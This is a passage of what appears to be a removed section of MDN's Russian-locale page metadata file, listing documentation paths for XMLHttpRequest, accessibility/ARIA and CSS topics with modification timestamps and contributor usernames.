- "almakano"
- ]
- },
- "Web/API/XMLHttpRequest/XMLHttpRequest": {
- "modified": "2020-01-20T13:55:36.892Z",
- "contributors": [
- "Don2Quixote",
- "fuggy",
- "lisapedia"
- ]
- },
- "Web/API/XMLHttpRequest/abort": {
- "modified": "2020-10-15T21:47:37.585Z",
- "contributors": [
- "FFxSquall",
- "fider"
- ]
- },
- "Web/API/XMLHttpRequest/getResponseHeader": {
- "modified": "2019-03-23T22:29:58.839Z",
- "contributors": [
- "fider"
- ]
- },
- "Web/API/XMLHttpRequest/onreadystatechange": {
- "modified": "2019-03-23T22:31:10.101Z",
- "contributors": [
- "fider"
- ]
- },
- "Web/API/XMLHttpRequest/open": {
- "modified": "2020-10-15T22:01:52.733Z",
- "contributors": [
- "FFxSquall",
- "torbasow",
- "carboncheg",
- "olegrasskazovpro",
- "bagau"
- ]
- },
- "Web/API/XMLHttpRequest/readyState": {
- "modified": "2019-03-18T20:49:46.579Z",
- "contributors": [
- "ZaWertun",
- "sollerias",
- "fider"
- ]
- },
- "Web/API/XMLHttpRequest/response": {
- "modified": "2020-10-15T22:13:50.836Z",
- "contributors": [
- "carboncheg"
- ]
- },
- "Web/API/XMLHttpRequest/responseText": {
- "modified": "2020-10-15T22:12:37.388Z",
- "contributors": [
- "dimoff66",
- "ncux199rus"
- ]
- },
- "Web/API/XMLHttpRequest/responseType": {
- "modified": "2019-03-23T22:02:53.091Z",
- "contributors": [
- "bagau",
- "easydeads"
- ]
- },
- "Web/API/XMLHttpRequest/responseURL": {
- "modified": "2020-10-15T22:15:53.280Z",
- "contributors": [
- "viktoryiakuzmitskaya"
- ]
- },
- "Web/API/XMLHttpRequest/responseXML": {
- "modified": "2020-05-17T20:00:59.171Z",
- "contributors": [
- "s-n-ushakov",
- "Salasar"
- ]
- },
- "Web/API/XMLHttpRequest/send": {
- "modified": "2019-08-24T10:29:02.664Z",
- "contributors": [
- "seka19",
- "egsk",
- "rgrtuleague",
- "dim0nickb"
- ]
- },
- "Web/API/XMLHttpRequest/setRequestHeader": {
- "modified": "2019-03-23T22:04:50.272Z",
- "contributors": [
- "korchemkin",
- "zbarinov"
- ]
- },
- "Web/API/XMLHttpRequest/status": {
- "modified": "2020-10-15T22:13:51.118Z",
- "contributors": [
- "carboncheg"
- ]
- },
- "Web/API/XMLHttpRequest/statusText": {
- "modified": "2020-10-15T22:13:50.680Z",
- "contributors": [
- "carboncheg"
- ]
- },
- "Web/API/XMLHttpRequest/timeout": {
- "modified": "2019-03-23T22:31:12.642Z",
- "contributors": [
- "fider"
- ]
- },
- "Web/API/XMLHttpRequest/upload": {
- "modified": "2019-03-23T22:29:56.572Z",
- "contributors": [
- "forestbird"
- ]
- },
- "Web/API/XMLHttpRequest/withCredentials": {
- "modified": "2020-10-30T13:55:59.918Z",
- "contributors": [
- "Zakhse",
- "nakhodkiin",
- "Salasar"
- ]
- },
- "Web/API/XMLSerializer": {
- "modified": "2019-03-23T22:17:05.888Z",
- "contributors": [
- "t1gor"
- ]
- },
- "Web/API/notification": {
- "modified": "2019-03-23T22:43:07.772Z",
- "contributors": [
- "Dimonasdf",
- "talgautb",
- "102",
- "teoli",
- "fsanano"
- ]
- },
- "Web/API/Видимость_страницы_API": {
- "modified": "2020-10-15T22:34:15.870Z",
- "contributors": [
- "vstorm"
- ]
- },
- "Web/API/Нотация": {
- "modified": "2020-10-15T22:17:39.773Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/Accessibility": {
- "modified": "2020-07-28T10:32:10.158Z",
- "contributors": [
- "RaMDiss",
- "servis.gruz74",
- "D.Lesnik",
- "SphinxKnight",
- "helperman",
- "chmutoff",
- "Aleksej",
- "teoli",
- "jswisher"
- ]
- },
- "Web/Accessibility/ARIA": {
- "modified": "2019-03-18T20:49:39.723Z",
- "contributors": [
- "upyx",
- "gudkovdanila",
- "Banzay",
- "EvgenyI"
- ]
- },
- "Web/Accessibility/ARIA/ARIA_Live_Regions": {
- "modified": "2019-03-23T22:29:31.330Z",
- "contributors": [
- "asasin"
- ]
- },
- "Web/Accessibility/ARIA/ARIA_Techniques": {
- "modified": "2019-03-18T21:40:55.887Z",
- "contributors": [
- "zbralex",
- "fscholz"
- ]
- },
- "Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute": {
- "modified": "2019-09-05T14:23:53.718Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute": {
- "modified": "2019-08-16T05:54:48.136Z",
- "contributors": [
- "niktariy",
- "andreyshedko",
- "kesha.ohrimenko"
- ]
- },
- "Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute": {
- "modified": "2019-03-18T21:20:26.038Z",
- "contributors": [
- "michael_v92"
- ]
- },
- "Web/Accessibility/ARIA/Roles": {
- "modified": "2019-03-19T11:13:31.021Z"
- },
- "Web/Accessibility/ARIA/Roles/checkbox_role": {
- "modified": "2019-03-19T11:13:31.955Z",
- "contributors": [
- "viktoryiakuzmitskaya"
- ]
- },
- "Web/Accessibility/Keyboard-navigable_JavaScript_widgets": {
- "modified": "2019-03-18T21:11:39.809Z",
- "contributors": [
- "DianaGalter",
- "Chudesnov",
- "yakotika",
- "estelle",
- "MicOne",
- "SphinxKnight",
- "ArianaFa",
- "nikolaifedorov",
- "Aleksej",
- "teoli",
- "Jifeon"
- ]
- },
- "Web/Accessibility/Mobile_accessibility_checklist": {
- "modified": "2019-04-03T18:12:38.914Z",
- "contributors": [
- "mbalabash"
- ]
- },
- "Web/Accessibility/Understanding_WCAG": {
- "modified": "2019-03-18T20:58:14.069Z",
- "contributors": [
- "christopherwilson1"
- ]
- },
- "Web/Accessibility/Understanding_WCAG/Keyboard": {
- "modified": "2020-11-17T11:48:31.223Z",
- "contributors": [
- "ukhin.miha"
- ]
- },
- "Web/Accessibility/Understanding_WCAG/Perceivable": {
- "modified": "2019-03-18T20:58:13.895Z",
- "contributors": [
- "estelle"
- ]
- },
- "Web/Accessibility/Understanding_WCAG/Perceivable/Color_contrast": {
- "modified": "2019-03-18T20:58:10.794Z",
- "contributors": [
- "iamvector"
- ]
- },
- "Web/Accessibility/Веб-разработка": {
- "modified": "2019-03-23T22:57:21.133Z",
- "contributors": [
- "Aleksej"
- ]
- },
- "Web/CSS": {
- "modified": "2019-10-31T08:17:43.061Z",
- "contributors": [
- "Solj",
- "X7Becka",
- "SphinxKnight",
- "aleshkanet",
- "mavr1k",
- "VaniaIT",
- "BychekRU",
- "fider",
- "LAshwind",
- "shalimski",
- "lavavrik",
- "s1lver",
- "Aleksej",
- "ldone",
- "teoli",
- "Decease",
- "jucke",
- "Norville",
- "PWeilbacher",
- "Softwayer",
- "Nikoro"
- ]
- },
- "Web/CSS/--*": {
- "modified": "2019-03-23T22:29:56.828Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/:-moz-focusring": {
- "modified": "2019-03-23T22:37:34.919Z",
- "contributors": [
- "teoli",
- "DVV",
- "andreww2012"
- ]
- },
- "Web/CSS/:-moz-only-whitespace": {
- "modified": "2020-10-15T22:11:44.237Z",
- "contributors": [
- "ExE-Boss",
- "ialexi-bl"
- ]
- },
- "Web/CSS/::-moz-progress-bar": {
- "modified": "2019-03-18T21:34:42.005Z",
- "contributors": [
- "RusDangerMaster"
- ]
- },
- "Web/CSS/::-webkit-slider-thumb": {
- "modified": "2019-03-18T21:40:51.580Z",
- "contributors": [
- "teoli",
- "NSearcher"
- ]
- },
- "Web/CSS/::after": {
- "modified": "2020-10-15T21:43:30.366Z",
- "contributors": [
- "warsan",
- "pgpa",
- "Nerill",
- "dima74",
- "andreww2012"
- ]
- },
- "Web/CSS/::backdrop": {
- "modified": "2020-10-15T22:11:47.485Z",
- "contributors": [
- "Akh-rman",
- "ialexi-bl"
- ]
- },
- "Web/CSS/::before": {
- "modified": "2020-10-15T21:46:42.683Z",
- "contributors": [
- "sharpist",
- "Irensooz",
- "dima74",
- "e-omo"
- ]
- },
- "Web/CSS/::cue": {
- "modified": "2020-11-18T03:14:10.914Z",
- "contributors": [
- "vladimir.monomax",
- "ekirpichyov"
- ]
- },
- "Web/CSS/::first-letter": {
- "modified": "2020-10-15T22:01:30.722Z",
- "contributors": [
- "VeeSot",
- "dima74"
- ]
- },
- "Web/CSS/::first-line": {
- "modified": "2020-10-15T22:01:31.319Z",
- "contributors": [
- "dima74"
- ]
- },
- "Web/CSS/::grammar-error": {
- "modified": "2020-10-15T22:35:19.695Z",
- "contributors": [
- "elkabelaya"
- ]
- },
- "Web/CSS/::marker": {
- "modified": "2020-10-15T22:35:06.070Z",
- "contributors": [
- "StanEffy"
- ]
- },
- "Web/CSS/::placeholder": {
- "modified": "2020-10-15T22:22:45.948Z",
- "contributors": [
- "crystalbit",
- "ekirpichyov"
- ]
- },
- "Web/CSS/::selection": {
- "modified": "2020-10-15T21:54:33.640Z",
- "contributors": [
- "dima74",
- "Winni-",
- "karpulix"
- ]
- },
- "Web/CSS/::slotted": {
- "modified": "2020-10-15T22:30:47.087Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/:active": {
- "modified": "2020-10-15T21:25:08.259Z",
- "contributors": [
- "ekirpichyov",
- "Alinaki",
- "fscholz",
- "harinag",
- "BychekRU",
- "andreww2012",
- "ahtohbi4",
- "teoli",
- "Nuzland"
- ]
- },
- "Web/CSS/:any": {
- "modified": "2019-03-23T22:39:12.816Z",
- "contributors": [
- "BychekRU",
- "JhonyLe"
- ]
- },
- "Web/CSS/:any-link": {
- "modified": "2020-11-13T17:12:16.338Z",
- "contributors": [
- "niki-timofe",
- "opereverzeva",
- "talgautb"
- ]
- },
- "Web/CSS/:checked": {
- "modified": "2019-03-23T22:22:35.933Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/:default": {
- "modified": "2019-03-23T22:03:20.135Z",
- "contributors": [
- "hlomzik",
- "dictor93"
- ]
- },
- "Web/CSS/:defined": {
- "modified": "2020-10-15T22:11:44.296Z",
- "contributors": [
- "ialexi-bl"
- ]
- },
- "Web/CSS/:dir": {
- "modified": "2020-10-15T22:22:06.162Z",
- "contributors": [
- "Sirruthf"
- ]
- },
- "Web/CSS/:disabled": {
- "modified": "2019-03-23T22:36:32.271Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/:empty": {
- "modified": "2020-10-15T21:47:40.404Z",
- "contributors": [
- "YozhEzhi",
- "BychekRU"
- ]
- },
- "Web/CSS/:enabled": {
- "modified": "2019-03-23T22:36:34.925Z",
- "contributors": [
- "s-olhov",
- "BychekRU"
- ]
- },
- "Web/CSS/:first": {
- "modified": "2020-11-30T13:45:42.789Z",
- "contributors": [
- "Dima8249",
- "zpawn",
- "Akh-rman",
- "ialexi-bl"
- ]
- },
- "Web/CSS/:first-child": {
- "modified": "2020-10-15T21:44:16.680Z",
- "contributors": [
- "almaceleste",
- "BychekRU"
- ]
- },
- "Web/CSS/:first-of-type": {
- "modified": "2019-03-18T21:21:16.262Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/:focus": {
- "modified": "2020-10-15T21:44:14.929Z",
- "contributors": [
- "fuggy",
- "BychekRU"
- ]
- },
- "Web/CSS/:focus-visible": {
- "modified": "2020-10-26T13:18:51.888Z",
- "contributors": [
- "sh4rov"
- ]
- },
- "Web/CSS/:focus-within": {
- "modified": "2020-10-15T22:17:16.562Z",
- "contributors": [
- "everAtWork",
- "ozgg",
- "solovevserg"
- ]
- },
- "Web/CSS/:fullscreen": {
- "modified": "2020-10-15T22:26:06.884Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/:has": {
- "modified": "2020-10-15T22:28:06.974Z",
- "contributors": [
- "corocoto"
- ]
- },
- "Web/CSS/:host()": {
- "modified": "2020-10-15T22:34:25.488Z",
- "contributors": [
- "DianaLoiko"
- ]
- },
- "Web/CSS/:hover": {
- "modified": "2019-03-23T22:36:25.619Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/:in-range": {
- "modified": "2019-07-11T08:24:22.558Z",
- "contributors": [
- "jynweythek",
- "BychekRU"
- ]
- },
- "Web/CSS/:indeterminate": {
- "modified": "2020-10-15T22:11:58.259Z",
- "contributors": [
- "Akh-rman",
- "ialexi-bl"
- ]
- },
- "Web/CSS/:invalid": {
- "modified": "2019-03-23T22:36:36.766Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/:is": {
- "modified": "2020-10-15T22:34:40.328Z",
- "contributors": [
- "Norvint"
- ]
- },
- "Web/CSS/:lang": {
- "modified": "2020-10-15T22:30:02.325Z",
- "contributors": [
- "leofeen"
- ]
- },
- "Web/CSS/:last-child": {
- "modified": "2019-03-23T22:36:43.348Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/:last-of-type": {
- "modified": "2020-10-15T21:44:56.432Z",
- "contributors": [
- "dima74",
- "BychekRU"
- ]
- },
- "Web/CSS/:left": {
- "modified": "2020-10-15T22:17:23.814Z",
- "contributors": [
- "Norvint",
- "opereverzeva"
- ]
- },
- "Web/CSS/:link": {
- "modified": "2019-07-11T05:51:13.064Z",
- "contributors": [
- "Allakazam",
- "Cheshikhina",
- "DmitryK",
- "BychekRU"
- ]
- },
- "Web/CSS/:not": {
- "modified": "2019-03-23T22:36:48.673Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/:nth-child": {
- "modified": "2020-10-15T21:44:55.521Z",
- "contributors": [
- "axadr",
- "dima74",
- "vislogurov",
- "BychekRU"
- ]
- },
- "Web/CSS/:nth-last-child": {
- "modified": "2019-03-23T22:35:32.022Z",
- "contributors": [
- "JediKnightIT",
- "BychekRU"
- ]
- },
- "Web/CSS/:nth-last-of-type": {
- "modified": "2020-10-15T21:44:57.480Z",
- "contributors": [
- "dima74",
- "BychekRU"
- ]
- },
- "Web/CSS/:nth-of-type": {
- "modified": "2020-10-15T21:45:02.543Z",
- "contributors": [
- "romash1408",
- "dima74",
- "BychekRU"
- ]
- },
- "Web/CSS/:only-child": {
- "modified": "2020-10-15T21:44:55.433Z",
- "contributors": [
- "YozhEzhi",
- "BychekRU"
- ]
- },
- "Web/CSS/:only-of-type": {
- "modified": "2020-10-15T21:44:55.259Z",
- "contributors": [
- "7nik",
- "BychekRU"
- ]
- },
- "Web/CSS/:optional": {
- "modified": "2019-03-23T22:36:43.502Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/:out-of-range": {
- "modified": "2019-06-26T05:53:07.182Z",
- "contributors": [
- "BorisKoshelev",
- "BychekRU"
- ]
- },
- "Web/CSS/:placeholder-shown": {
- "modified": "2020-10-15T21:56:26.914Z",
- "contributors": [
- "ekirpichyov",
- "aleshkanet",
- "sweetsmith",
- "Hydrock"
- ]
- },
- "Web/CSS/:read-only": {
- "modified": "2020-10-15T21:44:17.675Z",
- "contributors": [
- "fscholz",
- "BychekRU"
- ]
- },
- "Web/CSS/:read-write": {
- "modified": "2020-10-15T21:44:16.678Z",
- "contributors": [
- "fscholz",
- "BychekRU"
- ]
- },
- "Web/CSS/:required": {
- "modified": "2019-03-23T22:36:44.558Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/:right": {
- "modified": "2019-03-23T22:06:43.472Z",
- "contributors": [
- "alfaslash"
- ]
- },
- "Web/CSS/:root": {
- "modified": "2019-03-23T22:29:57.638Z",
- "contributors": [
- "artcygn",
- "BychekRU"
- ]
- },
- "Web/CSS/:target": {
- "modified": "2020-10-15T22:23:27.494Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/:valid": {
- "modified": "2019-03-23T22:36:41.439Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/:visited": {
- "modified": "2019-03-23T22:36:25.847Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/:where": {
- "modified": "2020-12-02T04:36:14.147Z",
- "contributors": [
- "kostyabushuev"
- ]
- },
- "Web/CSS/@counter-style": {
- "modified": "2019-03-23T22:37:59.122Z",
- "contributors": [
- "andreww2012",
- "Sebastianz"
- ]
- },
- "Web/CSS/@counter-style/additive-symbols": {
- "modified": "2019-03-18T20:57:55.570Z",
- "contributors": [
- "Akh-rman",
- "andreww2012"
- ]
- },
- "Web/CSS/@document": {
- "modified": "2020-10-15T22:10:49.689Z",
- "contributors": [
- "Vilafox"
- ]
- },
- "Web/CSS/@font-face": {
- "modified": "2020-10-15T21:56:10.559Z",
- "contributors": [
- "WDD",
- "gudkovdanila",
- "Luboshenko",
- "Fapalz",
- "wbamberg"
- ]
- },
- "Web/CSS/@font-face/font-display": {
- "modified": "2019-03-23T22:08:00.584Z",
- "contributors": [
- "bakoushin",
- "IgorLesnevskiy",
- "FlowerDeLuce"
- ]
- },
- "Web/CSS/@font-face/font-family": {
- "modified": "2020-10-15T22:17:30.533Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/@font-feature-values": {
- "modified": "2020-10-15T22:15:06.794Z",
- "contributors": [
- "Akh-rman"
- ]
- },
- "Web/CSS/@media": {
- "modified": "2020-03-28T14:42:27.070Z",
- "contributors": [
- "Virss",
- "jellymary",
- "talgautb",
- "Landlord"
- ]
- },
- "Web/CSS/@media/inverted-colors": {
- "modified": "2020-10-15T22:15:11.465Z",
- "contributors": [
- "nikolai-shabalin"
- ]
- },
- "Web/CSS/@media/orientation": {
- "modified": "2020-10-15T22:23:16.884Z",
- "contributors": [
- "iTw1zT"
- ]
- },
- "Web/CSS/@media/prefers-color-scheme": {
- "modified": "2020-10-15T22:15:12.069Z",
- "contributors": [
- "DmNsk2016",
- "ekirpichyov",
- "Solj",
- "nikolai-shabalin"
- ]
- },
- "Web/CSS/@media/prefers-reduced-motion": {
- "modified": "2020-10-15T22:15:07.373Z",
- "contributors": [
- "nikolai-shabalin"
- ]
- },
- "Web/CSS/@media/scripting": {
- "modified": "2020-10-15T22:15:10.762Z",
- "contributors": [
- "nikolai-shabalin"
- ]
- },
- "Web/CSS/@namespace": {
- "modified": "2019-06-17T09:15:56.443Z",
- "contributors": [
- "jkulvich",
- "fscholz",
- "teoli",
- "Aleksej",
- "Nuzland"
- ]
- },
- "Web/CSS/@page": {
- "modified": "2020-10-15T22:18:40.976Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/@supports": {
- "modified": "2019-03-23T22:37:58.837Z",
- "contributors": [
- "andreww2012"
- ]
- },
- "Web/CSS/@viewport": {
- "modified": "2020-05-13T06:10:35.795Z",
- "contributors": [
- "mandalorian7117",
- "cvrebert"
- ]
- },
- "Web/CSS/@viewport/user-zoom": {
- "modified": "2019-03-23T22:21:08.056Z",
- "contributors": [
- "Hydrock"
- ]
- },
- "Web/CSS/Adjacent_sibling_combinator": {
- "modified": "2019-03-23T22:45:33.275Z",
- "contributors": [
- "ExE-Boss",
- "Demitrius",
- "jswisher",
- "BychekRU",
- "Limitrof"
- ]
- },
- "Web/CSS/At-rule": {
- "modified": "2019-11-07T14:56:39.596Z",
- "contributors": [
- "sashakrauzer",
- "JokerHD"
- ]
- },
- "Web/CSS/Attribute_selectors": {
- "modified": "2019-03-23T22:55:54.351Z",
- "contributors": [
- "surrsoft"
- ]
- },
- "Web/CSS/CSS_Animations": {
- "modified": "2019-03-23T22:43:47.167Z",
- "contributors": [
- "Geloosa",
- "teoli",
- "MexieAndCo"
- ]
- },
- "Web/CSS/CSS_Animations/Detecting_CSS_animation_support": {
- "modified": "2020-05-04T14:05:30.058Z",
- "contributors": [
- "anna.bunakova"
- ]
- },
- "Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy": {
- "modified": "2019-09-08T05:26:38.746Z",
- "contributors": [
- "dmarkin",
- "trman",
- "KatyaRyazantseva",
- "Inqanter",
- "pseudoliza",
- "ShadF0x",
- "verbaux",
- "SphinxKnight",
- "mrkorsar",
- "teoli",
- "ukarim"
- ]
- },
- "Web/CSS/CSS_Animations/Tips": {
- "modified": "2020-05-03T11:02:29.768Z",
- "contributors": [
- "anna.bunakova"
- ]
- },
- "Web/CSS/CSS_Background_and_Borders": {
- "modified": "2019-03-23T22:40:44.971Z",
- "contributors": [
- "teoli"
- ]
- },
- "Web/CSS/CSS_Background_and_Borders/Border-image_generator": {
- "modified": "2019-03-23T22:25:50.600Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/CSS_Background_and_Borders/Border-radius_генератор": {
- "modified": "2019-03-23T22:40:49.075Z",
- "contributors": [
- "vito_falcone"
- ]
- },
- "Web/CSS/CSS_Background_and_Borders/Множественные_фоны": {
- "modified": "2019-03-23T22:13:04.810Z",
- "contributors": [
- "J-N-Z"
- ]
- },
- "Web/CSS/CSS_Basic_User_Interface": {
- "modified": "2019-03-18T21:18:49.969Z",
- "contributors": [
- "SphinxKnight"
- ]
- },
- "Web/CSS/CSS_Basic_User_Interface/Использование_URL_значений_для_свойства_cursor": {
- "modified": "2019-03-23T22:05:55.809Z",
- "contributors": [
- "SphinxKnight",
- "ExE-Boss",
- "Cheg"
- ]
- },
- "Web/CSS/CSS_Box_Alignment": {
- "modified": "2019-03-18T21:33:03.343Z",
- "contributors": [
- "slychai85"
- ]
- },
- "Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox": {
- "modified": "2020-06-05T15:51:55.007Z",
- "contributors": [
- "randomesis"
- ]
- },
- "Web/CSS/CSS_Box_Model": {
- "modified": "2019-03-23T22:36:43.800Z",
- "contributors": [
- "Sebastianz"
- ]
- },
- "Web/CSS/CSS_Box_Model/Box-shadow_generator": {
- "modified": "2019-03-18T20:43:50.074Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/CSS_Box_Model/Mastering_margin_collapsing": {
- "modified": "2020-07-01T02:44:27.480Z",
- "contributors": [
- "ialexi-bl",
- "trman",
- "xaveroniter",
- "whiteGloom",
- "Tuman",
- "antipenko",
- "Luboshenko",
- "andrew-bishop",
- "stakeout",
- "RomanAkhma",
- "hinduCoder"
- ]
- },
- "Web/CSS/CSS_Colors": {
- "modified": "2019-03-23T22:34:30.410Z",
- "contributors": [
- "BychekRU",
- "Krenair"
- ]
- },
- "Web/CSS/CSS_Colors/Color_picker_tool": {
- "modified": "2019-03-23T22:34:32.727Z",
- "contributors": [
- "altsab",
- "THEIDN",
- "buhantsev"
- ]
- },
- "Web/CSS/CSS_Columns": {
- "modified": "2019-03-23T22:43:48.744Z",
- "contributors": [
- "Sebastianz"
- ]
- },
- "Web/CSS/CSS_Flexible_Box_Layout": {
- "modified": "2020-10-19T05:53:46.314Z",
- "contributors": [
- "kyusov",
- "idoru",
- "WynnChen"
- ]
- },
- "Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox": {
- "modified": "2019-03-18T21:22:36.012Z",
- "contributors": [
- "viktoryiakuzmitskaya"
- ]
- },
- "Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox": {
- "modified": "2020-07-30T04:09:14.375Z",
- "contributors": [
- "aka.sonja",
- "seejay",
- "sashakrauzer",
- "RomanBush",
- "kalitadanila"
- ]
- },
- "Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items": {
- "modified": "2020-07-12T10:15:34.642Z",
- "contributors": [
- "PavelKoroteev",
- "RomanBush"
- ]
- },
- "Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes": {
- "modified": "2019-09-25T09:43:14.453Z",
- "contributors": [
- "RomanBush",
- "billlater",
- "KadirTopal",
- "DmitriyPoltavskiy",
- "MrDaedra",
- "antenko",
- "dixiony",
- "SKaznadei",
- "iamale"
- ]
- },
- "Web/CSS/CSS_Flexible_Box_Layout/Выравнивание_элементов_в_Flex_контейнере": {
- "modified": "2020-05-25T19:08:16.925Z",
- "contributors": [
- "synedvorkham",
- "Ruslan_Zlygostev",
- "AndriySikora",
- "idoru",
- "lexeek",
- "kalitadanila",
- "m-o-semenov",
- "ViktoriLisenok",
- "dubtar"
- ]
- },
- "Web/CSS/CSS_Flexible_Box_Layout/Контролирование_соотношения_элементов_вдоль_главной_оси": {
- "modified": "2020-03-08T07:17:57.807Z",
- "contributors": [
- "Radragon",
- "billlater"
- ]
- },
- "Web/CSS/CSS_Flow_Layout": {
- "modified": "2020-03-07T13:30:09.947Z",
- "contributors": [
- "Radragon"
- ]
- },
- "Web/CSS/CSS_Flow_Layout/Блочное_и_строчное_размещение_в_нормальном_потоке": {
- "modified": "2020-11-03T12:58:17.297Z",
- "contributors": [
- "at940266"
- ]
- },
- "Web/CSS/CSS_Flow_Layout/Введение_в_контексты_форматирования": {
- "modified": "2020-03-08T14:31:08.319Z",
- "contributors": [
- "Radragon"
- ]
- },
- "Web/CSS/CSS_Fonts": {
- "modified": "2020-10-10T08:59:00.093Z",
- "contributors": [
- "StanEffy"
- ]
- },
- "Web/CSS/CSS_Grid_Layout": {
- "modified": "2020-04-17T02:22:53.979Z",
- "contributors": [
- "alexphilin",
- "RomanBush",
- "Kamye",
- "SavkovCG",
- "dblokhin",
- "Renatdk",
- "Fgeniy",
- "igor-klymenok",
- "InkFaust",
- "SHOOROOP"
- ]
- },
- "Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout": {
- "modified": "2020-10-15T04:59:47.084Z",
- "contributors": [
- "Virss",
- "touze147",
- "john_roldven",
- "iandr",
- "nicktorn89",
- "ArtemSkachko",
- "greensleeves",
- "PaulineNemchak",
- "hmdn",
- "miirinjej",
- "avkozlov4",
- "Sajag",
- "coshturnina",
- "zhenetta",
- "sergeytkachenko",
- "dek4nice",
- "chemaxa"
- ]
- },
- "Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout": {
- "modified": "2020-06-05T16:04:56.391Z",
- "contributors": [
- "randomesis",
- "dimahvatit",
- "slychai85"
- ]
- },
- "Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes": {
- "modified": "2019-03-18T21:35:04.965Z",
- "contributors": [
- "slychai85"
- ]
- },
- "Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines": {
- "modified": "2020-04-04T03:56:43.842Z",
- "contributors": [
- "anna.bunakova"
- ]
- },
- "Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout": {
- "modified": "2020-04-12T13:44:00.238Z",
- "contributors": [
- "anna.bunakova"
- ]
- },
- "Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout": {
- "modified": "2019-03-23T22:10:21.250Z",
- "contributors": [
- "denisvovchenko",
- "coshturnina",
- "InkFaust"
- ]
- },
- "Web/CSS/CSS_Grid_Layout/Subgrid": {
- "modified": "2019-11-24T10:14:04.099Z",
- "contributors": [
- "hisbvdis"
- ]
- },
- "Web/CSS/CSS_Grid_Layout/Грид-области": {
- "modified": "2019-03-18T21:10:23.458Z",
- "contributors": [
- "maximTorba",
- "denisvovchenko",
- "slychai85",
- "coshturnina"
- ]
- },
- "Web/CSS/CSS_Grid_Layout/Расположение_элементов_по_грид-линиям_с_помощью_CSS_Grid": {
- "modified": "2020-09-29T19:08:10.559Z",
- "contributors": [
- "Zulcom",
- "denisvovchenko",
- "coshturnina"
- ]
- },
- "Web/CSS/CSS_Images": {
- "modified": "2019-03-23T22:33:49.629Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/CSS_Images/Using_CSS_gradients": {
- "modified": "2020-03-30T10:47:12.450Z",
- "contributors": [
- "Virss"
- ]
- },
- "Web/CSS/CSS_Lists_and_Counters": {
- "modified": "2019-03-23T22:23:15.839Z",
- "contributors": [
- "TylerH"
- ]
- },
- "Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters": {
- "modified": "2020-04-28T15:39:35.383Z",
- "contributors": [
- "arnoldovich",
- "moshenskyDV"
- ]
- },
- "Web/CSS/CSS_Positioning": {
- "modified": "2019-03-23T22:44:29.790Z",
- "contributors": [
- "davidhbrown"
- ]
- },
- "Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context": {
- "modified": "2019-03-23T22:44:33.535Z",
- "contributors": [
- "haritonasty",
- "dima74",
- "alfaslash",
- "mutius",
- "ViktorPalansky",
- "lerniri"
- ]
- },
- "Web/CSS/CSS_Ruby": {
- "modified": "2019-03-18T21:40:32.040Z",
- "contributors": [
- "FeliciaJess"
- ]
- },
- "Web/CSS/CSS_Scroll_Snap": {
- "modified": "2020-04-23T14:07:31.697Z",
- "contributors": [
- "r-i-c-h"
- ]
- },
- "Web/CSS/CSS_Scroll_Snap/Basic_concepts": {
- "modified": "2020-04-24T16:34:16.121Z",
- "contributors": [
- "hisbvdis"
- ]
- },
- "Web/CSS/CSS_Table": {
- "modified": "2019-03-23T22:31:01.222Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/CSS_Transitions": {
- "modified": "2019-03-23T22:45:46.948Z",
- "contributors": [
- "teoli"
- ]
- },
- "Web/CSS/CSS_Transitions/Using_CSS_transitions": {
- "modified": "2019-03-18T20:34:12.871Z",
- "contributors": [
- "Sakayama",
- "LFFATE",
- "Sajag",
- "ldolohov",
- "TicTacVengria",
- "agoge",
- "BychekRU"
- ]
- },
- "Web/CSS/CSS_Types": {
- "modified": "2019-03-18T21:45:05.678Z",
- "contributors": [
- "TViglesGoom"
- ]
- },
- "Web/CSS/CSS_User_Interface": {
- "modified": "2019-03-23T22:05:55.155Z",
- "contributors": [
- "SphinxKnight",
- "ExE-Boss",
- "mfluehr"
- ]
- },
- "Web/CSS/CSS_Writing_Modes": {
- "modified": "2020-03-07T12:38:48.764Z",
- "contributors": [
- "Radragon"
- ]
- },
